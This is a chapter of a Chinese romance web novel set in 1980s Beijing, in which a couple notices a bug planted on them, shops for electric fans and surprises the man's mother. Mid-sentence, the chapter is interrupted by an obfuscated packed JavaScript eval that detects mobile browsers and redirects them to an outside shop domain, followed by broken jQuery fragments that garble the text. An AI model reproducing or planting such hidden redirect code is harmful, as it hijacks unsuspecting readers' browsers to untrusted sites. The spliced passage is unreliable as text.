第八十九章
符伊年瞪大了眼睛,盯着祝镕手心里那个黑色的、一元硬币差不多大小的卡片,这东西有点眼熟,又一时想不起来是什么。
“这是什么?!”
祝镕摇摇头,食指竖起来放在唇上,示意她噤声,然后翻来覆去地观察这枚“硬币”,最后找到一个小箭头,箭头指示的方向写着off,就是关闭的意思。
祝镕想了想,并没有轻易动它,而是直接揣进了裤兜里,“我们去买电扇,去王府井吧,东西齐全一些。”
符伊年见他先是让自己噤声,接着又转移话题,甚至还故意说得大声了一些,隐隐有些明白,就不再追问,顺着他的话往下说,“真的要买风扇啊?我听说现在有一种机器,叫空调,比风扇好用,吹出来的是冷风。”
祝镕也听说过这个机器,甚至还了解过,“是一个大方块,安在窗口,要往里加一种叫‘氟利昂’的制冷剂,而且噪音非常大,用电也非常多。”
符伊年不懂,她以为空调一出现就是分室内机和室外机的,没想到最开始的空调是这样的。
“那还是算了,”符伊年想了想,摇头,“安在窗口多占地方啊,还挡光,不好。”
祝镕一口气噎在胸口,“你还嫌弃,想买还买不到呢,那都是给特殊部门使用的,轮不上咱们。”
“哦。”符伊年情绪低落下来,不过很快又恢复了,反正已经改革开放了,国产的买不到,很快就会有进口的了,就是再过几年,国产挂式空调也会诞生的。
不要急,慢慢都会有,而且质量外观什么的,都会更好更强,当然,最重要的是,更节能更省电。
到了王府井,两人没有去别处,直奔卖家电的楼层。
这个时候的王府井,已经是比较高级的商场了,每一层楼都有特定的销售范围,比如一楼是护肤化妆用品、日用百货、母婴用品等商品,二楼是男女服装,三楼是成品鞋包和服装、鞋包定制,四楼才是家电。
这个时期的家用电器,当时不是手电筒,也不再局限于“四大件”中的收音机、缝纫机等。冰箱、洗衣机、电风扇这类现代化一点的家电已经多了起来。
走了一圈下来,符伊年看到了电炉子,但是没有电饭锅。这令她很遗憾。
最后两人在销售风扇的区域挺了下来。风扇的种类也很多,有吊扇、落地扇、台式扇等几种款式和不同的型号。
吊扇主要以蓝绿色为主,三只近一米长的叶片,按钮上分了三档,还有定时键。
“我们大楼用的就是这种。”销售员指向上方,“很凉快的,非常实用。”
符伊年抬头看了眼头顶高速旋转的风扇叶片,摇头,“太高了,卫生不好搞。”
销售员看了眼祝镕,惊讶道:“这大高个子,还怕卫生不好搞?踩个凳子就行了,房子矮点,凳子都不用踩。”
符伊年也看向祝镕,撇嘴,“指望他,我还不如自己爬梯子。”
祝镕知道符伊年对自己的气还没消完,也不反驳,摸了摸鼻子,尝试着挽救:“都留着我休假的时候干。”
符伊年给他一个“算你识相”的眼神,但还是没有买吊扇——她对这玩意有点怕,怕转着转着,“啪”掉下来,虽然她知道几乎没有这种可能。
最终,她还是把目光定在了一台银黑色落地扇上。此落地扇大概一点五米左右高,底下托盘直径约一米,风扇头直径半米左右,铁质罩网,三片白色水滴形叶片,按钮在立柱中上方,风速一共五档,定时分1小时、2小时、4小时三种,还有270度摆头功能。
和后世常见的落地扇功能差不多了。
符伊年一共买了两台落地扇,东厢房一台,正房一台。除此之外,符伊年还是买了一台吊扇回去,她打算给作坊的制作间安上。
四合院的房子高大,前后窗户一开,对流风其实很凉快。不过制作间经常要烧火煮制辣条,还是很热的,安一台吊扇会好很多。
至于经常在外面跑销售的几个销售员,没有办法,只能忍着,不过符伊年提出了“室外气温三十度以上时每个销售员每天给五毛钱高温补贴”,室内制作的工作人员也每天中午买一块雪糕降温祛暑。
作坊开办时,祝镕正在南疆,当时政策虽然有了,但是到底还在试探阶段,符伊年就没有在信中同祝镕讲——他若回来,信中不必讲;他若回不来,信中不必讲。
所以到现在了,祝镕也还不清楚这作坊到底是怎么一回事。
符伊年想跟他讲一讲,但是又想起来他裤兜里装的那个东西,不禁用眼神示意他:能说吗?
祝镕对她办工厂的事一无所知,也不知道涉密没有——大概率是有秘密的吧,秘方也是秘啊。于是将此事暂时放下,说些别的事情,一路悠悠闲闲地回了四合院。
“跟你说件事,”符伊年拉了拉祝镕的胳膊,示意他太阳在动,撑伞的方向也要动一下,“我用你的钱给四合院拉了一条电话线安了电话。”
因为容院长和祝军长经常留宿四合院,两人出钱给这里拉了一条电话线,还说符伊年的作坊现在看着规模小,但很快就会做大做强,尽早把电话安上,有业务的时候才方便。
符伊年觉得很有道理,但是没有让二位长辈出钱,还是一个人出了四千块钱将电话安上了,她这么做是有理有据的:容院长和祝军长几乎只有晚上才在,可是晚上都下班了,哪有那么多电话,更何况这电话安在四合院,那不就是以后他们俩用的时候多?
“我当时虽然有些存款,但是安电话肯定是不够的,我就从你存折里取了钱,”符伊年并没有觉得不好意思,歪着头笑着看向祝镕,“两个人的家,你总要出些力吧?”
“当然。”祝镕也没有丝毫不悦,甚至十分欣喜,他一直觉得年年在经济上同他区分的过于清楚了,现在肯用他的钱,总算让他找回了些存在感。
祝镕甚至还说,以后存折就放在她那里,“你就是我的财政主管,家里的财政部长。”顿了顿,“不过每个月能不能给十块钱零花钱?”那语气,可怜兮兮,仿佛符伊年真的管着他不给他钱花一样。
“那你要好好表现,表现好了我才给你发零花钱,表现不好,哼。”符伊年下巴一扬双臂抱胸,故意表现得很傲娇得样子。
两个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233587|131614||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玩笑着打闹着,完全忘记了口袋里还有一枚窃听器,以至于对方窃听了半晌,什么有用的信息都没听到。
也算是歪打正着。
回到四合院,容院长已经回来午休过了,正坐在正房正厅喝茶,打算再休息一会就去上班了。
结果就是这个时候,发现符伊年回来了,身边还跟了一个人,看身形绝对是个男的,嗯,肩宽腰细、形体仪态都不错。
“来客人了啊年年。”容院长放下茶杯,想要起身迎接——虽然她是长辈,但是年年的客人她还是应该热情电。
祝镕跟着符伊年走进二进院,一眼就看到了坐在正房正厅的容院长。说不激动是假的,小一年哪,思念何止是对符伊年,对母亲对父亲,都是一样的。
祝镕快走了两步,正想喊人,结果容院长一句“来客人了啊”把他定在了原地,到了嘴边的那句“妈!”也没喊出口。
符伊年也愣住了,愣住之后就是哈哈大笑,笑得连遮阳伞都撑不住了,干脆直接扔在了地上,指着祝镕笑得整个人都在抖。
“客人!哈哈哈……这位可是你从何处来啊,哈哈哈……客人你好,客人你快进屋,”符伊年拉过祝镕的手把人往屋里推,“客人快请坐,我给你倒茶啊,客人哈哈哈……”
从符伊年大笑开始,容院长就意识到不对劲儿了,只是两人虽然面朝自己却一直背光,她没看清那男同志的面容。
一直到到年年拉着人来到近前,容院长才看出来,“哎呀祝镕!”容院长一拍大腿,“你啥时候回来的?”
说着眼睛在他和符伊年之间看了看,懂了,这是一回来就来找媳妇了。容院长虽然理解年轻人之间的思念之情,可是心里头还是有些别扭,自己养了二十多年的儿子,这就要“有了媳妇忘了娘”了吗?
“妈……”祝镕当然看明白了母亲眼中的意思,正想解释,就被符伊年往手里塞了一杯水,她甚至还偷偷捏了捏祝镕的手,暗示他不要多话。
有些时候男人要做两个女人之间的润滑剂,有的时候最好就装傻。
符伊年在容院长身边坐下来,还从茶几上摸了把蒲扇,给两人扇起风来。
“阿姨,你以前还经常和我抱怨祝镕不贴心,我看贴心得很。刚回来就发过来察看您得居住环境了,转了一圈发现说布置太简单了,而且没有风扇,天要热起来了没有风扇怎么行,当下就拉着我去给您买风扇了,走了好几个地方呢,最后才在王府井买到满意的。”
符伊年低头看向手腕上的手表,“店主说三点之前来送货并帮忙安装,这还得一会儿呢。”一边说,一边露出个笑容,做出明知故问的姿态,“您儿子贴心吧?这皮夹克不错吧?”
容院长被符伊年一番话说得心中熨帖极了,露出一个舒心的笑容,“不错,这皮夹克不错,这小棉袄更好。”容院长拉住符伊年空着的另外一只手,拍了拍,很是释然、欣慰的样子。
祝镕在一旁看着听着,目瞪口呆,心说:这就是传说中的“夹板气”?
于是趁着容院长转头和她说话时,竖起一个大拇指,又无声地用口型比划。
“厉害。”